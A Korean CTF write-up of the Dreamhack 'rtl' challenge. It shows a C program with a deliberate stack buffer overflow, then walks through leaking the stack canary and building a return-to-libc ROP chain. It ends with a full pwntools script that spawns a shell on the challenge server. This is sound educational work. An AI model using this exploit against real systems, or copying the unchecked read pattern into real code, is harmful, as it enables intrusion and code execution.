
먼저 적용된 보안 기법을 살펴보겠습니다.

Canary와 NX가 적용되어있습니다. NX가 적용되어 있으므로 버퍼에 주입한 셸 코드를 실행할 수 없으므로 libc로 우회하여 공격하는 return to library 기법을 사용해야 합니다.
문제 파일인 rtl.c를 살펴보겠습니다.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
read에서 받는 데이터 크기가 buf보다 크므로 스택 오버플로우를 사용할 수 있습니다. 첫 번째 read 이후 buf를 출력해주므로 여기서 canary를 얻을 수 있습니다. 그 후 리턴 가젯을 이용해 셸을 얻어서 해결할 수 있을 것 같습니다. 또한 system이 plt에 추가되어 있으므로 라이브리의 베이스 주소 없이 system을 실행할 수 있습니다.

buf의 위치가 rbp-0x40임을 알 수 있습니다.

stack_chk_fail@plt부분을 통해 이 부분이 canary를 비교하는 부분임을 알 수 있고, canary의 위치가 rbp-0x8임을 알 수 있습니다.
기초 설정
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 21944)
e = ELF("./rtl")
먼저 canary를 얻어 주겠습니다. buf에서 canary까지의 거리는 0x40 - 0x8 = 0x38이므로 0x39만큼의 더미 데이터로 payload를 구성하면 canary를 얻을 수 있을것입니다.
payload = b'A' * (0x38 + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
slog("Canary", canary)
system("echo 'system@plt"); 를 통해 system이 plt에 등록되어 있으므로 system_plt를 e.plt["system"]으로 구할 수 있습니다. "/bin/sh"의 주소는 pwndbg에서 "search /bin/sh"로 구할 수 있습니다.
system을 실행하는 데에는 하나의 변수만 사용하면 되므로 pop_rdi를 가젯에서 찾아서 사용해 주겠습니다. ROPgadget --binary rtl | grep "pop rdi"로 찾을 수 있습니다.

이제 리턴 가젯으로 system을 실행하면 해결할 수 있습니다.
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter(b'Buf: ', payload)
p.interactive()
코드를 맞게 작성했는데 작동을 하지 않습니다. 이는 스택이 0x10단위로 정렬되어 있지 않기 때문입니다. 따라서 아무 의미 없는 가젯인 ret를 추가하면 정상적으로 작동을 하게 됩니다.
아래는 완성된 코드입니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 16240)
e = ELF("./rtl")
payload = b'A' * (0x38 + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
slog("Canary", canary)
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
#스택 정렬
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter(b'Buf: ', payload)
p.interactive()
코드를 실행해 셸을 얻었습니다.
